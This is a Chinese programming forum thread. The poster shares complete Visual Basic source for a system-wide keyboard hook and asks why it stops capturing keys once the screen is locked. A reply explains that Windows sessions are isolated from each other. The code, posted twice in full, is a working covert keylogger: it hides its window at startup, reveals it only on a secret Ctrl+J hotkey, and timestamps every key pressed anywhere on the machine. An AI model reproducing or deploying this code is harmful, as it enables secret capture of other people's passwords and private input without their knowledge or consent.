最近需要用vb写钩子程序，捕获所有键盘案件信息，从如下地址获得了大致的方法：http://blog.sina.com.cn/s/blog_69b6a7c60100uuhf.html
大致如下：
程序源码：
（1）FrmHook源码
Option Explicit
Dim WithEvents Hook As ClsHook '创建一个需要事件支持的Hook为模块ClsHook
Private Declare Function MapVirtualKeyEx Lib "user32" Alias "MapVirtualKeyExA" (ByVal uCode As Long, ByVal uMapType As Long, ByVal dwhkl As Long) As Long
'根据指定的映射类型，执行不同的扫描码和字符转换
'
' uCode Long，欲转换的源字符或代码
' uMapType Long，控制映射类型，如下所示
' 0 —— uCode是个虚拟键码?函数返回相应的扫描码
' 1 —— uCode是个扫描码?函数返回相应的虚拟键码
' 2—— uCode是个虚拟键码。函数返回相应的ASCII值（未加Shift组合键）。针对死键，高位设为1。如果出错，返回NULL
' dwhkl Long，键盘布局的句柄
Private Declare Function GetKeyboardLayout Lib "user32" (ByVal dwLayout As Long) As Long
'取得一个句柄，描述指定应用程序的键盘布局
' dwLayout ，//欲检查的线程的标识符
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
'获取与指定窗口关联在一起的一个进程和线程标识符
' lpdwProcessId Long，指定一个变量，用于装载拥有那个窗口的一个进程的标识符
' hwnd Long，指定窗口句柄
Private Sub Form_Load()
Set Hook = New ClsHook
Hook.SetHook
'App.TaskVisible = False
Me.Hide
End Sub
Private Sub Form_Unload(Cancel As Integer)
Hook.UnHook
Set Hook = Nothing
End Sub
Private Sub Hook_KeyDown(KeyCode As Integer, Shift As Integer) '钩子的KeyDown事件，在模块中我们自己定义的事件KeyDown
Dim StrCode As String
StrCode = CodeToString(KeyCode)
'判断Shift
If StrCode = "[Shift]" Or StrCode = "[Alt]" Or StrCode = "[Ctrl]" Then
If Shift = vbAltMask + vbCtrlMask Then StrCode = "[Alt + Ctrl]"
If Shift = vbAltMask + vbShiftMask Then StrCode = "[Alt + Shift]"
If Shift = vbCtrlMask + vbShiftMask Then StrCode = "[Ctrl + Shift]"
If Shift = vbCtrlMask + vbShiftMask + vbAltMask Then StrCode = "[Ctrl + Shift +Alt]"
Else
If Shift = vbShiftMask Then StrCode = StrCode & " + [Shift]"
If Shift = vbCtrlMask Then StrCode = StrCode & " + [Ctrl]"
If Shift = vbAltMask Then StrCode = StrCode & " + [Alt]"
If Shift = vbAltMask + vbCtrlMask Then StrCode = StrCode & " + [Alt + Ctrl]"
If Shift = vbAltMask + vbShiftMask Then StrCode = StrCode & " + [Alt + Shift]"
If Shift = vbCtrlMask + vbShiftMask Then StrCode = StrCode & " + [Ctrl + Shift]"
If Shift = vbCtrlMask + vbShiftMask + vbAltMask Then StrCode = StrCode & " + [Ctrl + Shift +Alt]"
End If
'热键Ctrl+J，呼出窗口
If StrCode = "[j] + [Ctrl]" Then
Me.Show
App.TaskVisible = True
End If
Text1.Text = Text1.Text & Now & "------" & StrCode & vbCrLf
End Sub
'把按键码换为String
Private Function CodeToString(nCode As Integer) As String
Dim StrKey As String
Select Case nCode
Case vbKeyBack: StrKey = "BackSpace"
Case vbKeyTab: StrKey = "Tab"
Case vbKeyClear: StrKey = "Clear"
Case vbKeyReturn: StrKey = "Enter"
Case vbKeyShift: StrKey = "Shift"
Case vbKeyControl: StrKey = "Ctrl"
Case vbKeyMenu: StrKey = "Alt"
Case vbKeyPause: StrKey = "Pause"
Case vbKeyCapital: StrKey = "CapsLock"
Case vbKeyEscape: StrKey = "ESC"
Case vbKeySpace: StrKey = "SPACEBAR"
Case vbKeyPageUp: StrKey = "PAGE UP"
Case vbKeyPageDown: StrKey = "PAGE DOWN"
Case vbKeyEnd: StrKey = "END"
Case vbKeyHome: StrKey = "HOME"
Case vbKeyLeft: StrKey = "LEFT ARROW"
Case vbKeyUp: StrKey = "UP ARROW"
Case vbKeyRight: StrKey = "RIGHT ARROW"
Case vbKeyDown: StrKey = "DOWN ARROW"
Case vbKeySelect: StrKey = "SELECT"
Case vbKeyPrint: StrKey = "PRINT SCREEN"
Case vbKeyExecute: StrKey = "EXECUTE"
Case vbKeySnapshot: StrKey = "SNAPSHOT"
Case vbKeyInsert: StrKey = "INS"
Case vbKeyDelete: StrKey = "DEL"
Case vbKeyHelp: StrKey = "HELP"
Case vbKeyNumlock: StrKey = "NUM LOCK"
Case vbKey0 To vbKey9: StrKey = Chr$(nCode)
Case vbKeyA To vbKeyZ: StrKey = LCase(Chr$(nCode)) 'MapVirtualKeyEx(nCode, 2, GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, 0))))
Case vbKeyF1 To vbKeyF16: StrKey = "F" & CStr(nCode - 111)
Case vbKeyNumpad0 To vbKeyNumpad9: StrKey = "Numpad " & CStr(nCode - 96)
Case vbKeyMultiply: StrKey = "Numpad {*}"
Case vbKeyAdd: StrKey = "Numpad {+}"
Case vbKeySeparator: StrKey = "Numpad {ENTER}"
Case vbKeySubtract: StrKey = "Numpad {-}"
Case vbKeyDecimal: StrKey = "Numpad {.}"
Case vbKeyDivide: StrKey = "Numpad {/}"
Case Else
StrKey = Chr$(MapVirtualKeyEx(nCode, 2, GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, 0))))
End Select
CodeToString = "[" & StrKey & "]"
End Function
Private Sub text1_Change()
Text1.SelStart = Len(Text1.Text)
End Sub
（2）ModHook源码
Option ExplicitPublic Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lparam As Any) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpDest As Any, lpSource As Any, ByVal cBytes As Long)
Public OldHook As Long '全局变量OldHook存储钩子句柄
Public LngClsPtr As Long '保存对象地址
'回调函数
Public Function BackHook(ByVal nCode As Long, ByVal wParam As Long, ByVal lparam As Long) As Long
If nCode < 0 Then '如果nCode小于0，上次就说过喽，小于0代表没有拦截到键盘消息;当nCode为0的时候，所有的键盘消息都将被拦截，
BackHook = CallNextHookEx(OldHook, nCode, wParam, lparam) 'wParam为消息的种类（种类知道吧？KeyDown ……）lparam存储了拦截到的消息；没有拦截到消息只好呼叫下个钩子
Exit Function
End If
ResolvePointer(LngClsPtr).RiseEvent (lparam) '得到消息的地址
'处理过后一定要将消息归还给系统，难免还有别人要这个消息呢？
Call CallNextHookEx(OldHook, nCode, wParam, lparam)
End Function
'得到对象的地址
Private Function ResolvePointer(ByVal lpObj As Long) As ClsHook
Dim oSH As ClsHook
CopyMemory oSH, lpObj, 4&
Set ResolvePointer = oSH
CopyMemory oSH, 0&, 4&
End Function
（3）ClsHook源码：
Option Explicit '声明,在VB中，开头使用声明可以减少很多的错误
Public Event KeyDown(KeyCode As Integer, Shift As Integer) '自定义事件 KeyDown
Private Type EVENTMSG '定义事件消息的类型
wMsg As Long '消息
lParamLow As Long
lParamHigh As Long
msgTime As Long '消息时间
hWndMsg As Long '消息句柄
End Type
'Private Const WH_GETMESSAGE As Long = 3
Private Const WH_JOURNALRECORD = 0
Private Const WM_KEYDOWN = &H100
Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long 'dwThreadId监控代码,0为全局钩子
Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long
Private Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer
Public Sub SetHook()
OldHook = SetWindowsHookEx(WH_JOURNALRECORD, AddressOf BackHook, App.hInstance, 0)
End Sub
Public Sub UnHook()
Call UnhookWindowsHookEx(OldHook)
End Sub
Friend Function RiseEvent(ByVal lparam As Long) As Long
Dim Msg As EVENTMSG
Dim IntShift As Integer 'Shift
Dim IntCode As Integer 'KeyCode
CopyMemory Msg, ByVal lparam, Len(Msg) '利用指针技术将消息从lparam中的数据拷贝到Msg的地址中,简单的说就是把lparam的数据赋值给Msg
IntShift = 0
Select Case Msg.wMsg '检查消息状态
Case WM_KEYDOWN '如果消息的事件为KeyDown（键盘按下）
'得到Shift,Ctrl,Alt的按键状态
If GetAsyncKeyState(vbKeyShift) Then IntShift = (IntShift Or 1)
If GetAsyncKeyState(vbKeyControl) Then IntShift = (IntShift Or 2)
If GetAsyncKeyState(vbKeyMenu) Then IntShift = (IntShift Or 4)
IntCode = Msg.lParamLow And &HFF '得到KeyCode（及按键码）
RaiseEvent KeyDown(IntCode, IntShift) 'RaiseEvent 引发模块(ClsHook)中声明的事件 KeyDown
End Select
End Function
Private Sub Class_Initialize() '初始化类
LngClsPtr = ObjPtr(Me) 'ObjPtr，返回对象的地址，将本类的存储地址返回给变量LngClsPtr
End Sub尝试了下可以运行，但是有个问题，就是锁屏后，就没有任何反应了，任何的键都不触发Hook_KeyDown了，请大牛看看什么问题？？
大致如下：
程序源码：
（1）FrmHook源码
Option Explicit
Dim WithEvents Hook As ClsHook '创建一个需要事件支持的Hook为模块ClsHook
Private Declare Function MapVirtualKeyEx Lib "user32" Alias "MapVirtualKeyExA" (ByVal uCode As Long, ByVal uMapType As Long, ByVal dwhkl As Long) As Long
'根据指定的映射类型，执行不同的扫描码和字符转换
'
' uCode Long，欲转换的源字符或代码
' uMapType Long，控制映射类型，如下所示
' 0 —— uCode是个虚拟键码?函数返回相应的扫描码
' 1 —— uCode是个扫描码?函数返回相应的虚拟键码
' 2—— uCode是个虚拟键码。函数返回相应的ASCII值（未加Shift组合键）。针对死键，高位设为1。如果出错，返回NULL
' dwhkl Long，键盘布局的句柄
Private Declare Function GetKeyboardLayout Lib "user32" (ByVal dwLayout As Long) As Long
'取得一个句柄，描述指定应用程序的键盘布局
' dwLayout ，//欲检查的线程的标识符
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
'获取与指定窗口关联在一起的一个进程和线程标识符
' lpdwProcessId Long，指定一个变量，用于装载拥有那个窗口的一个进程的标识符
' hwnd Long，指定窗口句柄
Private Sub Form_Load()
Set Hook = New ClsHook
Hook.SetHook
'App.TaskVisible = False
Me.Hide
End Sub
Private Sub Form_Unload(Cancel As Integer)
Hook.UnHook
Set Hook = Nothing
End Sub
Private Sub Hook_KeyDown(KeyCode As Integer, Shift As Integer) '钩子的KeyDown事件，在模块中我们自己定义的事件KeyDown
Dim StrCode As String
StrCode = CodeToString(KeyCode)
'判断Shift
If StrCode = "[Shift]" Or StrCode = "[Alt]" Or StrCode = "[Ctrl]" Then
If Shift = vbAltMask + vbCtrlMask Then StrCode = "[Alt + Ctrl]"
If Shift = vbAltMask + vbShiftMask Then StrCode = "[Alt + Shift]"
If Shift = vbCtrlMask + vbShiftMask Then StrCode = "[Ctrl + Shift]"
If Shift = vbCtrlMask + vbShiftMask + vbAltMask Then StrCode = "[Ctrl + Shift +Alt]"
Else
If Shift = vbShiftMask Then StrCode = StrCode & " + [Shift]"
If Shift = vbCtrlMask Then StrCode = StrCode & " + [Ctrl]"
If Shift = vbAltMask Then StrCode = StrCode & " + [Alt]"
If Shift = vbAltMask + vbCtrlMask Then StrCode = StrCode & " + [Alt + Ctrl]"
If Shift = vbAltMask + vbShiftMask Then StrCode = StrCode & " + [Alt + Shift]"
If Shift = vbCtrlMask + vbShiftMask Then StrCode = StrCode & " + [Ctrl + Shift]"
If Shift = vbCtrlMask + vbShiftMask + vbAltMask Then StrCode = StrCode & " + [Ctrl + Shift +Alt]"
End If
'热键Ctrl+J，呼出窗口
If StrCode = "[j] + [Ctrl]" Then
Me.Show
App.TaskVisible = True
End If
Text1.Text = Text1.Text & Now & "------" & StrCode & vbCrLf
End Sub
'把按键码换为String
Private Function CodeToString(nCode As Integer) As String
Dim StrKey As String
Select Case nCode
Case vbKeyBack: StrKey = "BackSpace"
Case vbKeyTab: StrKey = "Tab"
Case vbKeyClear: StrKey = "Clear"
Case vbKeyReturn: StrKey = "Enter"
Case vbKeyShift: StrKey = "Shift"
Case vbKeyControl: StrKey = "Ctrl"
Case vbKeyMenu: StrKey = "Alt"
Case vbKeyPause: StrKey = "Pause"
Case vbKeyCapital: StrKey = "CapsLock"
Case vbKeyEscape: StrKey = "ESC"
Case vbKeySpace: StrKey = "SPACEBAR"
Case vbKeyPageUp: StrKey = "PAGE UP"
Case vbKeyPageDown: StrKey = "PAGE DOWN"
Case vbKeyEnd: StrKey = "END"
Case vbKeyHome: StrKey = "HOME"
Case vbKeyLeft: StrKey = "LEFT ARROW"
Case vbKeyUp: StrKey = "UP ARROW"
Case vbKeyRight: StrKey = "RIGHT ARROW"
Case vbKeyDown: StrKey = "DOWN ARROW"
Case vbKeySelect: StrKey = "SELECT"
Case vbKeyPrint: StrKey = "PRINT SCREEN"
Case vbKeyExecute: StrKey = "EXECUTE"
Case vbKeySnapshot: StrKey = "SNAPSHOT"
Case vbKeyInsert: StrKey = "INS"
Case vbKeyDelete: StrKey = "DEL"
Case vbKeyHelp: StrKey = "HELP"
Case vbKeyNumlock: StrKey = "NUM LOCK"
Case vbKey0 To vbKey9: StrKey = Chr$(nCode)
Case vbKeyA To vbKeyZ: StrKey = LCase(Chr$(nCode)) 'MapVirtualKeyEx(nCode, 2, GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, 0))))
Case vbKeyF1 To vbKeyF16: StrKey = "F" & CStr(nCode - 111)
Case vbKeyNumpad0 To vbKeyNumpad9: StrKey = "Numpad " & CStr(nCode - 96)
Case vbKeyMultiply: StrKey = "Numpad {*}"
Case vbKeyAdd: StrKey = "Numpad {+}"
Case vbKeySeparator: StrKey = "Numpad {ENTER}"
Case vbKeySubtract: StrKey = "Numpad {-}"
Case vbKeyDecimal: StrKey = "Numpad {.}"
Case vbKeyDivide: StrKey = "Numpad {/}"
Case Else
StrKey = Chr$(MapVirtualKeyEx(nCode, 2, GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, 0))))
End Select
CodeToString = "[" & StrKey & "]"
End Function
Private Sub text1_Change()
Text1.SelStart = Len(Text1.Text)
End Sub
（2）ModHook源码
Option ExplicitPublic Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lparam As Any) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpDest As Any, lpSource As Any, ByVal cBytes As Long)
Public OldHook As Long '全局变量OldHook存储钩子句柄
Public LngClsPtr As Long '保存对象地址
'回调函数
Public Function BackHook(ByVal nCode As Long, ByVal wParam As Long, ByVal lparam As Long) As Long
If nCode < 0 Then '如果nCode小于0，上次就说过喽，小于0代表没有拦截到键盘消息;当nCode为0的时候，所有的键盘消息都将被拦截，
BackHook = CallNextHookEx(OldHook, nCode, wParam, lparam) 'wParam为消息的种类（种类知道吧？KeyDown ……）lparam存储了拦截到的消息；没有拦截到消息只好呼叫下个钩子
Exit Function
End If
ResolvePointer(LngClsPtr).RiseEvent (lparam) '得到消息的地址
'处理过后一定要将消息归还给系统，难免还有别人要这个消息呢？
Call CallNextHookEx(OldHook, nCode, wParam, lparam)
End Function
'得到对象的地址
Private Function ResolvePointer(ByVal lpObj As Long) As ClsHook
Dim oSH As ClsHook
CopyMemory oSH, lpObj, 4&
Set ResolvePointer = oSH
CopyMemory oSH, 0&, 4&
End Function
（3）ClsHook源码：
Option Explicit '声明,在VB中，开头使用声明可以减少很多的错误
Public Event KeyDown(KeyCode As Integer, Shift As Integer) '自定义事件 KeyDown
Private Type EVENTMSG '定义事件消息的类型
wMsg As Long '消息
lParamLow As Long
lParamHigh As Long
msgTime As Long '消息时间
hWndMsg As Long '消息句柄
End Type
'Private Const WH_GETMESSAGE As Long = 3
Private Const WH_JOURNALRECORD = 0
Private Const WM_KEYDOWN = &H100
Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long 'dwThreadId监控代码,0为全局钩子
Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long
Private Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer
Public Sub SetHook()
OldHook = SetWindowsHookEx(WH_JOURNALRECORD, AddressOf BackHook, App.hInstance, 0)
End Sub
Public Sub UnHook()
Call UnhookWindowsHookEx(OldHook)
End Sub
Friend Function RiseEvent(ByVal lparam As Long) As Long
Dim Msg As EVENTMSG
Dim IntShift As Integer 'Shift
Dim IntCode As Integer 'KeyCode
CopyMemory Msg, ByVal lparam, Len(Msg) '利用指针技术将消息从lparam中的数据拷贝到Msg的地址中,简单的说就是把lparam的数据赋值给Msg
IntShift = 0
Select Case Msg.wMsg '检查消息状态
Case WM_KEYDOWN '如果消息的事件为KeyDown（键盘按下）
'得到Shift,Ctrl,Alt的按键状态
If GetAsyncKeyState(vbKeyShift) Then IntShift = (IntShift Or 1)
If GetAsyncKeyState(vbKeyControl) Then IntShift = (IntShift Or 2)
If GetAsyncKeyState(vbKeyMenu) Then IntShift = (IntShift Or 4)
IntCode = Msg.lParamLow And &HFF '得到KeyCode（及按键码）
RaiseEvent KeyDown(IntCode, IntShift) 'RaiseEvent 引发模块(ClsHook)中声明的事件 KeyDown
End Select
End Function
Private Sub Class_Initialize() '初始化类
LngClsPtr = ObjPtr(Me) 'ObjPtr，返回对象的地址，将本类的存储地址返回给变量LngClsPtr
End Sub尝试了下可以运行，但是有个问题，就是锁屏后，就没有任何反应了，任何的键都不触发Hook_KeyDown了，请大牛看看什么问题？？
我们知道，Windows Server终端服务允许同时多个人在同一系统内使用各自的桌面而互不干扰，试想，如果不同的桌面会话可以响应彼此的键盘操作，岂不乱套了。
http://download.csdn.net/detail/veron_04/3629729
http://download.csdn.net/detail/veron_04/3400339